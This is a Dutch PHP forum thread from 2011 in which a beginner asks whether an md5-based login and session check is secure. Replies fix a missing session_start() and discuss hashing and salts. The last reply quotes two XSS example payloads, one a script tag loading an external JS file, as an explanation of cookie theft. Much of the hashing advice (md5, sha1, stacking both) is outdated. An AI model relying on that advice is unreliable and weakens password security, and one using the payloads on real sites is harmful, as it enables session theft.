inlog script

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Nicky van boven

nicky van boven

07/07/2011 17:00:06
Quote Anchor link
hoi

Ik heb mijn eerste login systeem gemaakt.

Ik verbind een login sessie aan de gebruikers ID op onderstaande manier:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
<?php
    if(md5($_POST['password'])==$rij['password'])
    {

        $_SESSION['login']=$rij['id'];
    }
else{
        echo "password incorrect\n";
    }

?>

Mijn vraag is; is dit veilig? of kun je dit makkelijk hijacken.



vervolgens staat er boven alle pagina's:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php
if($_SESSION['login'])
{

//inhoud van pagina
}?>

is dit een goede manier? of kan ik het beter anders aanpassen.

en mijn laatste vraag;
nadat ik inlog, en ik vul bijvoorbeeld het contactformulier in, log ik gelijk uit nadat ik op submit druk zonder dat het bericht wordt verstuurd :s
help..

Toevoeging op 07/07/2011 17:10:05:

het lijkt of de session gelijk weer wordt gekilld, want als ik controleer wat session is dmv:


Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
<?php
if($_SESSION['login'])
{

//inhoud van pagina
}
echo "Sessie is:".$_SESSION['login'];?>


krijg ik niks te zien behavle "Sessie is:"

Toevoeging op 07/07/2011 17:21:39:

serieus waarom logt ie de hele tijd automatisch uit :S
ik heb m toch aan een sessie gebonden, waarom doet ie dan zo irritant
wtf joh


Toevoeging op 07/07/2011 17:37:20:

help asjeblieft ik snap er niks meer van

dat taalgebruik is hier niet nodig. We streven naar een professioneel forum. Tevens worden veel vragen beantwoord op het forum. meer berichtjes plaatsen zorgt er niet voor dat de vraag sneller beantwoord wordt over het algemeen. Als je vraag na 24 uur niet beantwoord is kan je reageren op je eigen topic en plaats je in het bericht 'bump' zo komt hij weer bij de laatste forum berichten te staan.[/modedit]
Gewijzigd op 07/07/2011 18:13:44 door Bas IJzelendoorn
 
PHP hulp

PHP hulp

17/01/2022 01:50:57
 
Bas IJzelendoorn

Bas IJzelendoorn

07/07/2011 18:11:05
Quote Anchor link
laatste vragen:

zet
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
session_start();
?>

boven elke pagina waarbij je ook ingelogd wilt zijn.

je gebruikt om uit te loggen dan vervolgens:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
session_destroy();
?>



Verder:

- Je systeem is zo lek als een mandje. Ik heb je query nog niet gezien naar je database maar dit '$rij['password']' wijst erop dat je waarschijnlijk geen gebruik maakt 'mysql_real_escape_string()'.

- md5 valt te brute force (kraken) gebruik 'sha1()' en kijk eens naar salt. (google password salt)

Ik ben wel benieuwd naar de sql query die je uitvoert om te controleren of het password goed is.

Edit:

Wederzijdse vraag:
Hoelang ben je al met PHP bezig en waar is het login systeem voor?
Gewijzigd op 07/07/2011 18:14:46 door Bas IJzelendoorn
 
- SanThe -

- SanThe -

07/07/2011 18:26:29
Quote Anchor link
Bas IJzelendoorn op 07/07/2011 18:11:05:
- Je systeem is zo lek als een mandje. Ik heb je query nog niet gezien naar je database maar dit '$rij['password']' wijst erop dat je waarschijnlijk geen gebruik maakt 'mysql_real_escape_string()'.


Een onlogisch antwoord. $rij['password'] komt UIT de database en is een md5-hash.


Bas IJzelendoorn op 07/07/2011 18:11:05:
- md5 valt te brute force (kraken) gebruik 'sha1()' en kijk eens naar salt. (google password salt)


Sha1 valt ook te bruteforcen.
 
Nicky van boven

nicky van boven

07/07/2011 20:56:35
Quote Anchor link
oke, maar waarom logt hij nu de hele tijd uit?
Hoezo werkt $_SESSION niet?
ik snap het niet, want eerst log ik gewoon in. het lijkt prima te werken, maar dan na 1 form in tevullen word ik weer uitgelogd.

om even in te gaan op het vorige;
de wachtwoorden staan in md5 gehasht in de database, zie ook; if(md5($_POST['password'])==$rij['password'])

een query van mijn database ziet er als volgt uit:
$sql="SELECT * FROM users WHERE username='".mysql_real_escape_string(addslashes($_POST['username']))."'";

ik doe php als hobbie, ben sinds 2002 bezig.

bedankt met melden dat sha1 beter is dan md5

maar ik heb nog steeds geen antwoord op mijn vraag.

k heb ze trouwens net even gesalt ook, met md5 en sha1. denk dat hij nu wel secure is.
alleen :s waarom log ik de hele tijd uit
bovenaan elke pagina staat session_start;

ik snap het niet.
 
Obelix Idefix

Obelix Idefix

07/07/2011 22:32:07
 
Nicky van boven

nicky van boven

07/07/2011 23:06:48
Quote Anchor link
nee, dat was ik nog een keer.
speltip #14, spreid je spelkansen zegt holland casino
dus tsjah.. umad?
 
Obelix Idefix

Obelix Idefix

07/07/2011 23:11:28
Quote Anchor link
Nicky van boven op 07/07/2011 23:06:48:
nee, dat was ik nog een keer.
speltip #14, spreid je spelkansen zegt holland casino
dus tsjah.. umad?


Spreiden van je kansen vind ik op zich begrijpelijk, maar meld dan wel even als je het antwoord op je vraag hebt. Wel zo netjes lijkt me.

Quote:
dank u wel, het werkt het lag aan session_start()
ik dacht dat die haakjes overbodig waren:s
 
Nicky van boven

nicky van boven

07/07/2011 23:17:48
Quote Anchor link
thx :) wel zo netjes idd
 
Sven b

Sven b

08/07/2011 07:51:39
Quote Anchor link
Hallo,

Ik ben ook een tijdje bezig geweest met mijn paswoord te beveiligen.

$pass = sha1(md5($salt1.$ingevoerdepass.$salt2));
Daarbij moet je ervoor zorgen dat je invoer redelijk wat characters bevat. Zeker een stuk of 10 of 12, zodat hij moeilijker te kraken is. Alles is te kraken, maar hoe meer hoe moeilijker. Ik heb begrepen dat blowfish nog niet echt gekraakt is. Van horen en zeggen dan, maar de werking hiervan heb ik zelf ook nog niet uitgezocht.

Tevens begreep ik dat veel hackers niet proberen je code te kraken, maar je gehele crypted pass dus $pass te achterhalen, zodat ze dat in zijn geheel kunnen gebruiken? Of iets in die richting. Cookies opvangen, of sessies, zodat ze dat kunnen gebruiken. Is dat mogelijk en hoe voorkom je zoiets?

MvG.
 
Nick van der heijden

nick van der heijden

08/07/2011 11:21:41
Quote Anchor link
je database is al redelijk beveiligd als je in je script mysql_real_escape_string zet dat maakt hacker zoiezo al moeilijker en dan nog md5 en sha1 er over heen gooit maakt het ze nog moeilijker maarja daar voor meot je echt jaren ervaring hebben om goed verstand tehebben van beveiliging van passworden en andere dingen
 
The Force

The Force

08/07/2011 11:36:39
Quote Anchor link
Gooi er nooit zowel md5 als sha in. Je bepertkt nu het aantal combinaties en de lengte van hetgeen waarover de sha gaat is altijd hetzelfde. Wil je echt een goede hash dan moet je sha512 gebruiken in combinatie met een salt die lang genoeg is. En maak je salt variabel (neem bijvoorbeeld ook de username mee). Dan hebben namelijk twee mensen met hetzelfde wachtwoord alsnog een verschillend hashresultaat.

Dat met het kunnen inloggen dankzij de gehele crypted pass lijkt me onwaarschijnlijk. Stel iemand gebruikt deze crypted pass invoert dan ga je in je script daar nog eens de salt aan toevoegen en de hash daarover doen. Dit levert een totaal ander resultaat op als wanneer iemand enkel het wachtwoord in voert.

Cookies/sessies opvangen is mogelijk als je de gebruikersinput niet goed controleert. Je moet voorkomen dat mensen XSS en CSRF (Cross Site Request Forgery) kunnen uitvoeren. In het kort komt het er bij beide op neer dat code uitgevoerd kan worden en dat ze daarmee gegevens buit kunnen maken. Bijvoorbeeld als ze dit in een veld invoeren die later (zonder controle) op de pagina getoond worden:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
//Zie http://ha.ckers.org/xss.html
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>


of:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
//Zie http://ha.ckers.org/xss.html
<IMG SRC=JaVaScRiPt:alert('XSS')>
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.